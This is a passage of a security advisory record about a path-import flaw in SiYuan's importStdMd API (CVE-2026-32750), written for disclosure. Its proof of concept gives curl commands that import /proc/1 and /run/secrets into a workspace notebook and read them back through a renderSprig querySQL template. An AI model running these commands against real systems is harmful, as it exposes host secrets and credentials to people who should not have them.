The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.\n\n### Details\nFile: kernel/api/import.go - function importStdMd\n\n```go\nfunc importStdMd(c *gin.Context) {\n    notebook  := arg[\"notebook\"].(string)\n    localPath := arg[\"localPath\"].(string)\n    toPath    := arg[\"toPath\"].(string)\n\n    err := model.ImportFromLocalPath(notebook, localPath, toPath)\n}\n```\n\nmodel.ImportFromLocalPath (kernel/model/import.go:784):\n```go\nfunc ImportFromLocalPath(boxID, localPath string, toPath string) (err error) {\n    filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error {\n    })\n}\n```\n\nUnlike globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts.\n\nChained attack with Bug #1 (renderSprig):\nAdmin imports sensitive files --> content stored in blocks table --> non-admin user queries via querySQL through renderSprig.\n\n### PoC\n```bash\ndocker run -d --name siyuan -p 6806:6806 \\\n  -v $(pwd)/workspace:/siyuan/workspace \\\n  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**Exploit:**\n```bash\nTOKEN=\"YOUR_ADMIN_TOKEN\"\n\nNOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \\\n  -H \"Authorization: Token $TOKEN\" -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"Exfil\"}' | python3 -c \"import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])\")\n\ncurl -s -X POST http://localhost:6806/api/import/importStdMd \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"notebook\\\":\\\"$NOTEBOOK\\\",\\\"localPath\\\":\\\"/proc/1\\\",\\\"toPath\\\":\\\"/\\\"}\"\n\ncurl -s -X POST http://localhost:6806/api/import/importStdMd \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"notebook\\\":\\\"$NOTEBOOK\\\",\\\"localPath\\\":\\\"/run/secrets\\\",\\\"toPath\\\":\\\"/\\\"}\"\n\ncurl -s -X POST http://localhost:6806/api/template/renderSprig \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"template\":\"{{range $r := (querySQL \\\"SELECT content FROM blocks LIMIT 50\\\")}}{{$r.content}}\\n---\\n{{end}}\"}'\n```\n\n### Impact\nAn admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike globalCopyFiles, there is no blocklist - /proc/, /etc/, /run/secrets/, /home/ are all accepted.\n\nData persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection ( separate advisory ), a non-admin user can then read all imported secrets without any additional privileges.","affected":[{"package":{"name":"github.com/siyuan-note/siyuan","ecosystem":"Go","purl":"pkg:golang/github.com/siyuan-note/siyuan"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.0.0-20260313024916-fd6526133bb3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-rjhh-m223-9qqv/GHSA-rjhh-m223-9qqv.json"}}],"references":[{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-rjhh-m223-9qqv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32750"},{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/commit/13b6d3d45e83525654d120f32a3fdc5d9e95df0b"},{"type":"PACKAGE","url":"https://github.com/siyuan-note/siyuan"},{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"}],"database_specific":{"cwe_ids":["CWE-22","CWE-552"],"github_reviewed":true,"github_reviewed_at":"2026-03-16T18:47:22Z","nvd_published_at":"2026-03-19T22:16:41Z","severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"}]}
